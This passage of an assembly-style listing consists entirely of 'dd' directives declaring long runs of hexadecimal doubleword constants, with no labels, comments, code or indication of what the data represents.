dd 5AE158F6h, 0A2B063FCh, 70093129h, 0C941E2E8h, 0D1F0DA2Ah dd 0FAF3C080h, 0E117F8h, 588BAC1Dh, 0ECBE893Eh, 64E0AA80h dd 0E83D31BAh, 78531F74h, 59C26E04h, 0D94AC0ACh, 0C12A88h dd 95F132BAh, 2CB0F1D2h, 4B91064h, 18125AC3h, 80CC9EABh dd 493AE0F8h, 8F312C41h, 373E0CF8h, 3548D751h, 8C24BCE8h dd 2E1DDE00h, 0B547F8EAh, 84FF3DBDh, 1239CA89h, 883D55h dd 0DAD99DADh, 1604A577h, 2319CA6Fh, 76868501h, 68282E2Fh dd 37C58854h, 2E742495h, 0AF8D0605h, 5C197000h, 97F24A95h dd 24575009h, 0B0525114h, 33610E58h, 48BE5FB1h, 116EAE8h dd 6BB6CBA8h, 0C5A3FE10h, 64202A84h, 8220EDBAh, 0B6E0A460h dd 780067Ch, 2819BF94h, 0CDB181BDh, 2FBEDBB3h, 4B3F32C8h dd 3218E8AAh, 34B882h, 2D97F5CDh, 15F1481Dh, 0B912165Fh dd 0ECB5AC91h, 857F2410h, 1E01E0F2h, 0FC125850h, 2992B515h dd 524A81Ah, 19DE5A94h, 0D897F0D3h, 9A0C787h, 0D2359D0Ch dd 0F208557h, 1C004CEAh, 0D0B00A10h, 9E155044h, 0B41781CCh dd 38AA3972h, 98A1825Ch, 1BEA8110h, 44F42B93h, 970E0036h dd 69DAF72h, 633A73EDh, 9F0717BDh, 0B26FE420h, 0E4F45405h dd 3AB9C038h, 0CD46C586h, 8EE1671Eh, 69B26D05h, 222D80ACh dd 14DDF048h, 805F7707h, 0A19C1581h, 0F29DA049h, 787A0Bh dd 62103795h, 0BEAE9BC3h, 0D48DE800h, 6C4FC766h, 0BC644A9Dh dd 0A5F98868h, 0D426470h, 1E07E11h, 0A684036Ch, 34745246h dd 9E1286B7h, 58BC37E2h, 2F0D30A1h, 21C82C8Eh, 0FD0218C0h dd 0C63F0160h, 767E08F6h, 5C3A2A8Ah, 89013123h, 3B621368h dd 200439A7h, 68CBABD9h, 3F8A9E08h, 0C2106700h, 7D71FFFAh dd 35EF30ADh, 0BDCAB740h, 0A4818092h, 10F63AF3h, 1F738AE0h dd 0F4F3C126h, 2254674h, 27A4284Fh, 3089D7CDh, 0D65856h dd 5889BC79h, 95EF9703h, 2C84A826h, 11049DA7h, 0E97180DAh dd 3F65020h, 0C9975BAh, 982DEE22h, 9C82014h, 4B63F2C9h dd 3268C096h, 85811B82h, 9E5A2EE8h, 7C4DEB70h, 3B9AB4C1h dd 4055A830h, 99106524h, 872537C2h, 296454CDh, 0EF2A9060h dd 61C1BA7Dh, 5D1A810Bh, 0FB0E100h, 9C0791C5h, 0FC006CADh dd 6CDD836Dh, 9D20B25h, 0E016A40Ch, 7210CBDCh, 7AC0C46Dh dd 928A331Fh, 60379FE4h, 0D6672509h, 9B01794h, 2CE4E151h dd 108A4F44h, 81C556DCh, 3222991Dh, 0AF63F892h, 7AFA4412h dd 9290004h, 7ECDAB9h, 3F309191h, 159FF880h, 952C04B6h dd 423A3227h, 50745638h, 978017C1h, 0A55E1249h, 884CE27Eh dd 70CDAD21h, 0A0BD9EC3h, 9D12B349h, 5CA56879h, 117B514Ch dd 0B62B9DFFh, 8B50E7CCh, 13252B2h, 0C888A648h, 84BAAEA9h dd 0E6603870h, 59B804FDh, 1DA60F00h, 0C112B027h, 976A3C10h dd 2544BC4Ah, 0D654DE8Ah, 9BAD2A0Fh, 0B65C207Eh, 0C9D226B9h dd 647014A8h, 9AAA14EDh, 0C02CC8A4h, 53133718h, 41A0F095h dd 96846017h, 54602741h, 0BD0C4AC5h, 0C86ED790h, 0C2EDFA0Ah dd 0BA5030B1h, 18056D39h, 0ADFE977Dh, 48801CFCh, 88102F9Fh dd 0E800ADB0h, 0D84C6322h, 7787CE7Dh, 9380C01Dh, 6B686EDCh dd 0D5A3201h, 496726B4h, 1F539E8h, 0FA8331BBh, 6A7E9E34h dd 7AEF64D4h, 0E9910F40h, 5E9FCB94h, 785E6934h, 2EC8465Eh dd 8108EC40h, 0B5AA06F4h, 600021EFh, 18B7642Ah, 0CD922C5h dd 0FCF5B26Eh, 0B510AD28h, 0F253FA9h, 0DBB03820h, 0EE015022h dd 6F779EC7h, 3DC8BB3Bh, 2A923DCCh, 0AC29082Fh, 1538A155h dd 0DC68664Bh, 7B28CD4Ah, 0F9053C6Eh, 0BA537FA1h, 8AEA7420h dd 567800C0h, 8C061B46h, 6102A0A5h, 0A9506E5Dh, 0D8405D26h dd 79956D67h, 561D1F58h, 8F00A8BAh, 7AFE328Dh, 98D00060h dd 0FE404291h, 0AC093FC2h, 3A53FC09h, 7BB66061h, 0E8385C6Fh dd 2DB26F04h, 20BC1622h, 94834909h, 6CD1C829h, 8D1822D9h dd 0D0744D00h, 0E335491Eh, 0AA5003B0h, 36926297h, 859E5804h dd 0CC1D859h, 0A800D54Ah, 6200C479h, 0AA6B9468h, 20E6D38h dd 7886D882h, 357D35BCh, 0C16A9F24h, 3EAE951Bh, 2C372EF1h dd 0B68A292h, 0B310F850h, 0F10B3DDBh, 20053730h, 788E4B5h dd 0A092AE5Eh, 0ACFA0Fh, 74B83892h, 197F70E1h, 640DDD03h dd 8A939B94h, 14AF57C9h, 6CE38301h, 7C403A3Dh, 0AAB087ACh dd 44E0A772h, 0AE116721h, 0D5F8F2FDh, 9A580B7Ah, 802EB54h dd 0F872C052h, 27EE1721h, 0E85024DBh, 0BDBF00C7h, 3F97B02Fh dd 4428988Ah, 197ED4AAh, 7478CCF4h, 0B9108D59h, 0B77CF8DFh dd 0B8076237h, 3803EFAAh, 71649F67h, 8A4E78CAh, 0C032C824h dd 1F8E5E2Ah, 0B4ADD029h, 0F51822D1h, 36022B7Dh, 46529284h dd 8138696Ch, 80E0892Fh, 751C9D31h, 0B5990818h, 0AC1AF4E5h dd 0DC985C99h, 0A5BF9F07h dd 0EA00E7BBh, 2A81D773h, 0A8E3B2h, 0A5BE7CFBh, 0FCBCBAE4h dd 6A330301h, 4016FF1Eh, 17187B2Fh, 0D8FC0B66h, 0D68DFB09h dd 0DC48D80Eh, 4D943D02h, 7978C106h, 2168CB2Bh, 6A1F62A0h dd 1A588257h, 59105E78h, 38190B36h, 0A062297Ah, 72341821h dd 20B849F2h, 0E7108C4Bh, 48CAC83Ch, 305980DCh, 0D4276Ah dd 40ED5692h, 0AA5EE255h, 0B1CC0E38h, 0D4FAE087h, 160C4422h dd 26195182h, 0E3ECCA5Ch, 0C541F499h, 2A2BBDC2h, 2C8940F3h dd 739D0858h, 0C8327000h, 0FCE1400h, 5B9C20A7h, 0A2B50913h dd 205BF4D5h, 8298298Bh, 0D23DDA80h, 2C0B9718h, 0BDDED45Ch dd 2400B864h, 0FC9A98FEh, 1A033110h, 78118682h, 4FDE1CD4h dd 1FE2BC11h, 229C2E9Ch, 6C804A7Ah, 4A6DC2B6h, 0A180BC10h dd 2FBF07h, 3A39C328h, 94E6BC0Ah, 11489D9Dh, 224C9F3Eh dd 3CB912h, 55FE823h, 973931D3h, 4FA5227h, 6BAB7850h, 7D02388h dd 80C68695h, 6F1D51D9h, 4E879602h, 40ABDA81h, 4B1A8930h dd 0C258D89Eh, 8390C99Dh, 0A62EB85Dh, 0EF2BA048h, 104D03DAh dd 9ABF9B60h, 8F24AFA8h, 5CCD984Bh, 8028DB3Eh, 4A35381Ah dd 0CD195AFh, 0A06471A5h, 63DE20A8h, 7510EAB5h, 2C60604Dh dd 88C7236h, 39B23294h, 9714782Dh, 0DD91C897h, 0F1E1FB80h dd 1C035CF2h, 32976EFDh, 4EA91D46h, 0C0E41A89h, 40A81A57h dd 83C9EE0Ch, 9DC5F022h, 0FE70C8D3h, 9E830978h, 0D8512382h dd 731830F9h, 54D17002h, 578B2CA3h, 52BEF810h, 1C1B0701h dd 8F15129Fh, 45EE1D0h, 3A24B830h, 45872B80h, 64F708Ah dd 0C05FF2B7h, 0E0BCBC12h, 1D8C2CECh, 92B42942h, 200BBA56h dd 485884h, 641D3492h, 0D079E9Ch, 97399BF8h, 7014F822h dd 0E8C45662h, 2B008C38h, 55F9D539h, 4AFD6AB6h, 0C44088FCh dd 0D85D7C18h, 9B9A70h, 2E778C41h, 0B262952Ah, 64E895F9h dd 0C2ED82A4h, 3EC85401h, 0EEEEA613h, 0DC23003Eh, 5431D900h dd 25965B84h, 0B04A8734h, 35EE55C0h, 400281D3h, 113E2E6Eh dd 0E4717B04h, 0C9D8D161h, 0A472F9h, 628D9519h, 0BC89551Fh dd 201D06B8h, 12016A4Fh, 0AB7F1C5Eh, 9D68DB7Ah, 0D288D694h dd 9006E003h, 258978E5h, 0E8E4D7E6h, 0A0B4352Bh, 0D6056D04h dd 0FC93BCBCh, 0EE9C25C4h, 6FB144A8h, 92DBA2Dh, 857071C4h dd 9429A2E7h, 4884AB84h, 80F4DBFAh, 0EEB273D3h, 0EA042C9Eh dd 1EE01C2Fh, 0BC5C16F5h, 1684B148h, 2782022h, 77D98BD4h dd 6675091Ch, 32921664h, 9EE8E0FAh, 0F2702505h, 2FFED604h dd 252318h, 70AC575Bh, 8401F742h, 6F2D2ABDh, 23A5DCAh dd 2697AD14h, 0C09CCD5Fh, 0E88DDE59h, 1DDA7909h, 0A8825534h dd 0E47563F6h, 0F05B956Ch, 73CCFF70h, 636F1FEBh, 0DC53C1DEh dd 0C23A4B1Ah, 1347E09h, 1785D234h, 7C9B6FB8h, 0D0A8FE80h dd 0E0049104h, 3F82A10Bh, 0A3036D00h, 4D978A1Ah, 93156020h dd 5C0BAF85h, 80DFEC76h, 95AAE590h, 0F8E9BF32h, 28C449Eh dd 0DF929994h, 0FE3087DDh, 0FD6500E8h, 664A9501h, 9491344Bh dd 7ED21E97h, 4848DC54h, 2A10396h, 0C286CFFBh, 1A6CC065h dd 405D820Dh, 0D6E2330Ch, 0B89CED60h, 1DD005Fh, 40638D1Fh dd 15F26CE1h, 7290E44h, 433611BBh, 0F2C830C0h, 79958660h dd 1822F9CCh, 0B401002Bh, 1BF0BA5Ah, 914F702Ch, 0E73A70A1h dd 0D49A4B70h, 0C6350680h, 0FE09ACB0h, 58EDA26Ch, 0B8930F5Ch dd 9149DDC2h, 5B4B485Eh, 80EB70F8h, 0F835201Eh, 3CEAD6C7h dd 849A048Bh, 105CCAEBh, 0E06F1B8Ch, 0A608973Ch, 6A48E1E4h dd 9084BC30h, 0B0DB9F9Ch, 29204071h, 1351014Dh, 0D8210372h dd 0C5E871AAh, 0B936013Ch, 5E8CD0DEh, 4A24A33Dh, 13E0D0B6h dd 0DDB8CDF7h, 7EEC8D03h, 890FA99Fh, 0F23A06D3h, 85CCC074h dd 1850E623h, 88C10AA9h, 18BF6A13h, 97CC8EACh, 7D0188B8h dd 0FC926A25h, 447B2F84h, 0C7183059h, 12EB660Eh, 8A003249h dd 5294D3CCh, 94325172h, 9A4E62Ah, 0D8B1AA6Fh, 840997A0h dd 467EACFCh, 1365822h, 34F37145h, 0E92089CBh, 7461B57Bh dd 0F067D076h, 5A9FF748h, 0E84B94E2h, 2C5D203Ch, 2410048Ah dd 4E3A105Ch, 940010B2h, 9A7E80D3h, 2801442Ah, 58DA8AECh dd 0CD301FBAh, 0A29C18Ch, 3FCAF0C9h, 4A07B0F4h, 5AB0F69Ah dd 0DA259CE6h, 8A20FC44h, 40B49E33h, 5A084FECh, 1F0B027Ah dd 5E2B9917h, 6CD12DACh, 5F4D0C00h, 78E0D274h, 0F9B31C19h dd 0F8C8418Dh, 0D0342965h, 974B078Eh, 20B260C8h, 0C9B5F055h dd 89A6E7C4h, 0E8720934h, 5448157h, 69A61993h, 0F6B7009Ch dd 0AC390FDAh, 13FD8300h, 3605CBAFh, 30DED4A9h, 0FDE9F728h dd 7DECF32Ah, 0B79E8918h, 0FB5A9720h, 48FC026Fh, 307A12A9h dd 8D3C2700h, 74AF62DCh, 48899769h, 2E91C856h, 4476D040h dd 83887A6Bh, 0B26C0DC4h, 2AD828F5h, 9D00F4F2h, 76434468h dd 7F1241B8h, 88042BA3h, 6309DD42h, 5144CC5Ch, 14B7D840h dd 800A821Fh, 2CDA64DFh, 0E782D41Ch, 0A42531C2h, 0D86092F0h dd 719F6F3Ah, 0E983234h, 0B5620C5Eh, 529503EAh, 445CA1D4h dd 846EFE78h, 1D267200h, 83C6211Fh, 16823419h, 9CC08721h dd 48374CD8h, 48F55D10h, 0C6FE0BA8h, 0FBD4ABEBh, 9BE57014h dd 0D3093816h, 2E76E404h, 35C91E42h, 0E4D6785Eh, 61D70027h dd 0ECDBE5CCh, 0FE13D0E1h, 6BAEA301h, 8C24074Ch, 0D3514E5Ch dd 0C0483C4Ch, 6524A0C7h, 0D4467DA1h, 451088B8h, 0D8CF4AFFh dd 89DAF00h, 0FD977876h, 0B08A0186h, 6691B6C8h, 0D8F72EE2h dd 137F9D05h, 64400961h, 6A623082h, 91447E2Fh, 8EEB369Eh dd 282ED3D4h, 9D003623h, 1B08B31Fh, 4C5E3927h, 407ADC50h dd 37600C49h, 2F46C51h, 702AF646h, 8DBD003Fh, 0A1DF249Ah dd 785CC6C2h, 591D049Ch, 28AE46DAh, 49EB328h, 92B467Ch dd 8F46CB07h, 3BD525D4h, 2081DC34h, 0E72AEE6Eh, 0AC2F4B68h dd 0C1042A23h, 60C107D2h, 9B7B2C04h, 1F44849Ch, 404420BFh dd 3401500Eh, 0F10F8B19h, 5A8037A1h, 0DD15EFE5h, 82B7DCCFh dd 0D79F7280h, 0F0CC039h, 0AFC0DDC8h, 7946C8Ah, 71F47ED1h dd 52B3F238h, 1551F85Ch, 0C0489E3Fh, 0C2C9BECFh, 908E0206h dd 2A5AA10Bh, 665824FCh, 0AC0E4A9Ch, 8C2BECC4h, 626FE004h dd 0D2EA2A95h, 7C4D9D3Ch, 0D115FCE0h, 0EFFF0077h, 8206D2E7h dd 0BE0B79E2h, 5C537AF7h, 0B5574BDCh, 8F003884h, 0E85F7E5Ch dd 7AE5914Eh, 1CAE1412h, 0E0D5021Ch, 8BDF36B9h, 70C8F370h dd 6F1F0BB2h, 6125A26Dh, 302F7758h, 0BC8D9B1Ch, 0C6DF1425h dd 0B4E127F0h, 0FF65AC5Eh, 84073CACh, 0EB9593CCh, 9F351C40h dd 0AD3487B5h, 8B108B82h, 0DCE0DED8h, 6B4D321Ch, 20DE1E4Eh dd 2B0D53ACh, 0A83369D2h, 0FC53451h, 4905DCA9h, 0ABD2DFh dd 9834AE97h, 800061B4h, 0ADFE0B50h, 13494D67h, 0B8AA6D46h dd 2E7E803Ch, 289730Ch, 57CCC6A5h, 7260F139h, 0D498AF11h dd 94906401h, 3D5A01BEh, 40A0B33Ah, 2894F18Ch, 0A9FCC480h dd 9F7285C5h, 3234C1h, 0B5C3736Eh, 342E0C64h, 3A40BCB9h dd 270D9E84h, 6404EAA1h, 7C34AE87h, 82B860E9h, 0E192B225h dd 856B6D14h, 853AB2Ch, 4646EAAh, 29D7187Fh, 0B94081AEh dd 0F42202F6h, 0BB9250h, 1B09236h, 421E34E8h, 6580FC4Eh dd 8DA02599h, 40E49E5Fh, 1FC09DD5h, 14ACDD00h, 2101EFC1h dd 642B127Dh, 0AB70B887h, 0A4E84900h, 0B7B6E303h, 10041E4Ch dd 0C80A3FEAh dd 27B0B991h, 30C018D4h, 80D93689h, 8B976CDEh, 64FCC740h dd 0B39A603Ch, 9C7B9526h, 166A1BD0h, 18A14A01h, 0CAA98A34h dd 0B220629Dh, 1A1CC0E0h, 0C75582E1h, 6136C49Ch, 15D59201h dd 2497030h, 0A6854A4Eh, 2CE83862h, 0EC25939Bh, 25105602h dd 0EDCB454h, 71D150C0h, 9AD767A9h, 0ACD180h, 0EF5A594Ch dd 0C70095ACh, 0DFE74D55h, 4A3DCBA0h, 0C34C4E22h, 8382248Eh dd 33E11BBBh, 302394h, 0E8E3ACD3h, 1EB345Eh, 0F5810FFh dd 25971887h, 40206A18h, 0D47016h, 0E756D142h, 3529B9CBh dd 284C301h, 38CD10F0h, 6DF89831h, 5C31EC78h, 0B71F5455h dd 9C644BCCh, 9741605Eh, 141765BDh, 9A3B3921h, 0A0968FF8h dd 180D7068h, 1591285Fh, 29E0074h, 0BCA65440h, 7802CFF0h dd 9F5D6171h, 7335E010h, 0C58700AAh, 27645312h, 52049592h dd 943DA6CFh, 8DABA8C1h, 0CF2CDA3Eh, 74FA7229h, 2E708930h dd 7CE0ACF6h, 9C9864B4h, 0CC0B564Bh, 70545B9Eh, 0B5302CECh dd 5E98B1EFh, 20B10540h, 0AFE6C606h, 0B044A42Dh, 36A9E480h dd 58C795E0h, 6F51C718h, 26C134A2h, 1F78C040h, 49C21816h dd 7D86AE85h, 7EC8E469h, 4D962431h, 0EBFCAC04h, 9445358Bh dd 0E86025C4h, 9F023BC2h, 0AA6E9712h, 3B3CD691h, 69784381h dd 6FBB8B7Ch, 0E7BAE0DCh, 8F7F6982h, 5E6420h, 82E5F950h dd 3966E440h, 0A59865B5h, 2D4D074h, 42AAA20h, 8B7F02B0h dd 6BF45690h, 2CE4F065h, 6211B360h, 5C1F585Ah, 0A3ED9C2h dd 3C1D5F1Dh, 0A7802711h, 0F2DA3F3h, 0F2BBB004h, 0E8F8465Bh dd 0A87AAB05h, 0ACDAAA8Dh, 2CE3A0C0h, 175CC84Fh, 82E715E1h dd 330F84A8h, 9A3CCCBBh, 9390D752h, 32960804h, 0BCD47CB8h dd 22A9C3C0h, 0F50E121Dh, 646EB4BBh, 3BFA1BCEh, 0C3123B8h dd 1014F4B9h, 0B4BCBC4Ah, 1DF7BEC0h, 0AE4A9B3Eh, 0C52A98F1h dd 86EBEC8h, 0B29DFE00h, 89239660h, 0C0D5D225h, 2DC26F8Ch dd 9048F859h, 55825B8Eh, 96F888C6h, 403165Bh, 5A92BB6Fh dd 0B8F8BDF1h, 955112ACh, 26DF094Ah, 66134822h, 751CB27Dh dd 0AC68A04Dh, 73C7E9EFh, 18255934h, 0A9A3019Fh, 0B1B6EA3Fh dd 8C68C6h, 0DB6A30A8h, 126DCE98h, 0B249E583h, 3027F21Ch dd 25F8E8B3h, 0CE8A2107h, 0AB392BF2h, 0D6445604h, 7E2546h dd 1BFF14Dh, 0AA6097D0h, 784B91FCh, 0E22A388Dh, 832F8804h dd 49C49734h, 6D6BF2E8h, 6ABCE713h, 0D6891402h, 0B0395DC7h dd 0FD94929Bh, 0C1BC34AEh, 58027A7Ch, 8069D68h, 0BC9615D7h dd 0ED462030h, 0FCADB54Ah, 434B6600h, 7E2E70F1h, 0FC041902h dd 60E132BFh, 81D70EB4h, 59B9E01Ch, 11A41F9Fh, 4E9B8231h dd 0C8D9C5h, 16E057CAh, 6A81AF46h, 0B9C0172Bh, 95AB830h dd 5632669Ah, 19C36C03h, 0D4C8E04Eh, 0C0E43CBEh, 604D8900h dd 103AF67Ch, 0C15C02B7h, 0AE730526h, 4282803Ch, 35D611D1h dd 7FC66F10h, 3ADABE12h, 0AD6056AEh, 133B820h, 0BCA4A902h dd 85C5B513h, 9A6CCF81h, 0AD7898ADh, 97254204h, 0B707A478h dd 0DF76DD1Ch, 0E24E08A0h, 190D0042h, 30234A8Fh, 0D7E67191h dd 179C5F00h, 0FA8279F2h, 0AEEE00C2h, 0B4C898E3h, 2473B8C9h dd 780F8700h, 6922394Dh, 6C2809CCh, 2A80EB97h, 1611C67Dh dd 92005EE4h, 8129CF34h, 0D4034Ah, 5CBDB5A2h, 0A1251D91h dd 5F0EEC78h, 80AFD046h, 0F8D9D538h, 6F6B1E8Ch, 5BD1002Bh dd 54E919A6h, 0F5589103h, 0C888EB9Ch, 94CA0Ah, 18CB3384h dd 3CC83169h, 7AE88600h, 0FFDF16DEh, 0D2A41EC0h, 779400F0h dd 2BDC08C7h, 0D3130607h, 0BFE0BAB6h, 3F4148Ch, 55949F9Dh dd 0EB90A003h, 7900E842h, 4086E00Dh, 0BC0BE6h, 0BFDFE541h dd 6660F7D1h, 3A0AF200h, 23C00F24h, 0FE7100AFh, 86CFFEFh dd 0DC00D3CFh, 0CBC4E585h, 1CC50794h, 0C0E73AE6h, 0F8C21ECAh dd 87006384h, 8DD1230Bh, 1FD4E535h, 4096B116h, 73882721h dd 18BC7CB0h, 87F29780h, 9FE3A6h, 0C2FBD7B3h, 0B2CB7BA8h dd 0FD769300h, 8F2F67CAh, 0AF411489h, 340080B9h, 7A0D1EF1h dd 7D98732Ch, 0A91F2905h, 34F97B81h, 0AC9CE000h, 4F85D90Bh dd 6AF85D0Ch, 13B8B8h, 56B658A3h, 518C3A33h, 0D30E4B00h dd 0F24E9C11h, 71E93BEDh, 0D0D707F9h, 5305F6ACh, 19D09578h dd 0DC90767Ah, 0C3A6F203h, 0E03782FAh, 0DD72FFh, 8B4A87F3h dd 354B1A13h, 0F4671500h, 93E99060h, 0C50305A9h, 1D78727Eh dd 8A4C40E0h, 0D8DF3855h, 3BB73F00h, 679B7BC7h, 518D0323h dd 181E90C1h, 0DEEF42B8h, 0EB90897Fh, 0DB00618h, 886EB3F0h dd 0A2009C18h, 4787DB09h, 14F3BF6Ch, 9455ECADh, 5C036D00h dd 2CBDC8Fh, 2580C700h, 85ED74F6h, 6CDA00AFh, 0BCBFA207h dd 77187A9Bh, 41984E0h, 5A5201A1h, 339CBA15h, 0E49BE0D5h dd 8EBF9E00h, 0EDD1F712h, 0FEC0255h, 115AA621h, 0C214205Fh dd 0F38C38h, 0D547D7CDh, 0F52784FFh, 0F9A69F01h, 0EF02A1EBh dd 0BB6A6980h, 3AAB33B5h, 21F87D00h, 0CE97DF88h, 0AD8924B1h dd 6C1C0050h, 86FE5824h, 2A38491Ch, 0EC26CCCAh, 1E79A787h dd 0FCFF6230h, 0C009117h, 0B541EEDBh, 250C93Ah, 0BA4BAFB9h dd 68CB7565h, 0FF9F2580h, 0D1E13900h, 5DCDB2A6h, 0B74E06AFh dd 0C564C26h, 0D438FC00h, 88E4FF0Eh, 75F40F54h, 3D802957h dd 0F7677610h, 71D53Bh, 4245AC5Fh, 0E648D0Fh, 52D3A29Dh dd 0DB8AB600h, 6B3981E8h, 0FD3CC1h, 6D852C6Eh, 692E37h dd 83073AEFh, 0B97EEEA3h, 7019ED00h, 0A925DA40h, 10EA607Bh dd 0CC3A8077h, 0CF2ED701h, 52F8A1E3h, 2FC4CCh, 8A18C55Ch dd 34EBAAABh, 6D62B800h, 0CC98B3C1h, 8F3800D6h, 0B23AB665h dd 50C97172h, 937098F4h, 0E8240392h, 0A1B09BEAh, 0B8075683h dd 31C3068Dh, 11057A6h, 522163Dh, 0DCEEA4A1h, 6600F7F0h dd 45234E53h, 5983C84Fh, 0FD013C91h, 7F069E64h, 0D5F85054h dd 4A0082E2h, 0D5E1B47h, 7FB16E3h, 0B8207094h, 5C003978h dd 0D4499C1Eh, 3F95EE00h, 0A4D6C990h, 0A3D80536h, 76CD7Eh dd 0AB8E68BCh, 0C7070F30h, 0C80C572Ch, 0BA6E6C90h, 7C7A0098h dd 5E5C9FF8h, 8813085Bh, 8003BD2h, 0A9391A53h, 54D0C0AAh dd 0CEE31B63h, 46D20F00h, 4094DCB3h, 50FC00D7h, 1C6C6480h dd 650178F4h, 96489F4Ch, 3EE8DEBEh, 0F61B00D9h, 4B7669Dh dd 0EE001A60h, 91E7B5B4h, 28CA14A7h, 4088D6C1h, 0BDF21A8Dh dd 1223A138h, 5000BA70h, 30C27BE0h, 196890B1h, 200B3C14h dd 0A81DE4A9h, 0C6EAD900h, 7D36B4B0h, 0DCE83D1Ah, 0C298A500h dd 43E0F416h, 37A2DB3Fh, 6AAC11DDh, 1712007Ch, 0B1348752h dd 0CAE00EA7h, 48F140Fh, 0FE6A4016h, 0F1F382h, 0D9C9F642h dd 0DDAD253h, 5BBFA0Eh, 0A50860E8h, 16941004h, 183C2h dd 0AEBC0A54h, 0CCB2A190h, 3A8AEA00h, 9F4E1DDDh, 45E1008Dh dd 0AE05D446h, 0F0EB639h, 609C6F50h, 1F945571h, 0F634016Ch dd 0D1FA8A41h, 0C88020ADh, 0E725C00h, 8C96677h, 7E734Ch dd 0D5B6631Ah, 1F9B78B3h, 95FC2F00h, 398E3B43h, 107000DBh dd 0A6AFA5F2h, 3700E4EFh, 47BC159Dh, 813EBFh, 0B0EDE190h dd 192EA0EEh, 42A1200Eh, 651A0044h, 0F72FA6h, 21DE88C7h dd 4F7793E0h, 0F5E91100h, 0A496BB03h, 0F06A0033h, 0DB48659Ch dd 560052A8h, 23508FF2h, 0EBCBCAh, 0FF010D7Ah, 3CA83FBFh dd 5A914600h, 2E168C55h, 4F491D6Ch, 0C19F0B8h, 0AFFC4A99h dd 27ADBD00h, 0B93F7C04h dd 2276001Eh, 0B51C8836h, 100B638h, 417F2166h, 0C1939h dd 254B8C6Ah, 3CD4ACB0h, 0EC0B20B0h, 0E4EDA0h, 2A86C2DBh dd 0AE9B01FFh, 9734DBF5h, 7D73F441h, 0E77D837Dh, 0F675A700h dd 92D3441Eh, 5F9F2CC8h, 7D714050h, 0C6001305h, 0EA17C18Dh dd 0F5FDE1h, 126759A1h, 0B93AA6FAh, 0DFDACF26h, 0C199E401h dd 0F86D0121h, 0D0AE5000h, 0DE0A1176h, 0F41E1200h, 83FD08F3h dd 0A6EB0093h, 0E49793Bh, 6F0FAF47h, 0A0CFF910h, 0B6D81D74h dd 0B07A5Dh, 29E6E0DFh, 619FCA18h, 0A22F2C02h, 0E0324D82h dd 1F6F6CA1h, 49B69623h, 807E199Dh, 1624B080h, 3A6E4959h dd 0A296BB97h, 957CA0FFh, 3410C362h, 80B32777h, 72A6327Fh dd 91182000h, 0B2A2946Bh, 1D4200A8h, 0E8DF63E9h, 4501F466h dd 8D806437h, 302012B0h, 26E05CEh, 0A0DE3276h, 597A6FE0h dd 3DB9F3Ah, 0E28C630Eh, 0B6980E61h, 7CC0F666h, 59ABC302h dd 1B9D7714h, 20C8305Ch, 4E2AB694h, 65F8B419h, 9B0EFD18h dd 7EB57650h, 0C0D20008h, 797CB936h, 1D00975Ch, 0F1B46C73h dd 3E8A9E22h, 2500AE92h, 41B1F0Ch, 9800872Dh, 0F9314415h dd 997A6Dh, 0EAAD27FAh, 0BD05407Fh, 54ACAF00h, 3D802EDh dd 0F5091CE4h, 0C232C746h, 0DBA720A5h, 717DD50h, 60A8781Bh dd 0D0F216C9h, 0D001E800h, 921DA502h, 6AAA3AADh, 13756F03h dd 8888C6B7h, 70004064h, 0AD9D8462h, 9CB3C38h, 6D873ABDh dd 850BAC52h, 5A2BFE96h, 0BE83136Ch, 0ED30C3A2h, 7D2D05A9h dd 440F3B44h, 0F3F600D6h, 229B3721h, 0C6008510h, 0E76438ECh dd 14B232E9h, 8C52C381h, 0FA31007Bh, 3A279F7Bh, 2907DC8Dh dd 0EF41C237h, 4B209933h, 463CB060h, 0DCB08D4Fh, 0FF8B0107h dd 2A977F9Dh, 18006B1Ah, 0EAE8567h, 87A0CF2Fh, 249D0AC0h dd 0C25C7FEh, 0F4A87479h, 0D9CE051Eh, 0B0466182h, 0DF44623Ch dd 0F6983Ah, 8D700D4h, 79DD8546h, 0B239775Ah, 0EDA2237h dd 91D8E802h, 9989B687h, 672D1078h, 40D47E63h, 95CFC193h dd 32973E09h, 8022F712h, 6D7D35FCh, 5C2260F0h, 0AC3BA5C7h dd 853A84B7h, 80E882BEh, 0DF0CF2Fh, 10FCF0D2h, 132433A2h dd 56F488FEh, 0CA40EEF8h, 0F2E25B34h, 6AB70E88h, 0C303031Eh dd 2B26F8CDh, 832C0134h, 54C47877h, 9E64BB74h, 0F10B866Ah dd 3907E02h, 5D233FFh, 74E1E95Bh, 6C7A6Fh, 3626711Bh, 5B53F74Bh dd 81F487BAh, 6FCC9289h, 3CBF60D4h, 0B784A300h, 0DD917495h dd 0F517680h, 8E136573h, 2CE85244h, 0C59A9480h, 9D126C35h dd 24E2677Dh, 77C90E00h, 0E1FC0299h, 9349741Eh, 0A7A0C340h dd 7F3CEF7Ch, 0B0A948ABh, 2C6E520Bh, 1DED05Eh, 7AB73A62h dd 6A57A00Bh, 89DFD4A0h, 65E92A84h, 85225000h, 0D57F929Fh dd 1F828900h, 0FD59EBF8h, 0F28B0B66h, 37F79061h, 0BEF200FBh dd 8D890BA3h, 72FC215Eh, 97EBF95Eh, 5DDC22EAh, 0CA197EC0h dd 0E2AA8300h, 0B788271Dh, 0A1130754h, 0C2617D49h, 0F8559D09h dd 0A95B5FE9h, 0DE8B840Ah, 4E35E6EAh, 2613FABh, 0D92EB351h dd 0F75157D4h, 8BFF6A00h, 0DD0255BDh, 3DB5C65Ch, 891C0C1Ch dd 19334D9Dh, 42AC295h, 30B0BFE9h, 0DBB7180Fh, 859DA4B0h dd 0CC20086Ch, 0E62B4075h, 61F9705Fh, 71E4D980h, 7D37BD89h dd 91626923h, 62F15F26h, 0B231E41Bh, 0DB74888Bh, 0B6C4FE1Fh dd 0E2BBF5C8h, 1A475018h, 0C18340DDh, 0A1DFBF0Fh, 0B07F04E8h dd 73615603h, 0BDCCF30Ah, 2E2F7E8h, 53C82BF8h, 25878D0Fh dd 110E6D29h, 41D18BC3h, 9204158Eh, 0D8EA17F9h, 0BE00A9E3h dd 6343D128h, 338AF21h, 739193CEh, 0A1A8DE71h, 851B8BC9h dd 20A116B5h, 0F3A0550h, 816ED088h, 0AEB7EB03h, 3607C083h dd 0E10CFBC4h, 281EA520h, 5390D03Bh, 0D8278A0Eh, 8932207Dh dd 951005B5h, 78CC7CFCh, 0FE204A11h, 31840221h, 0DA59517h dd 0C570FE15h, 95890109h, 46605E42h, 0BF6E00AFh, 439751B6h dd 0A3012609h, 0BE740B3h, 59205787h, 0E961375Bh, 0B58D002Fh dd 176EFFF9h, 2631C454h, 12296688h, 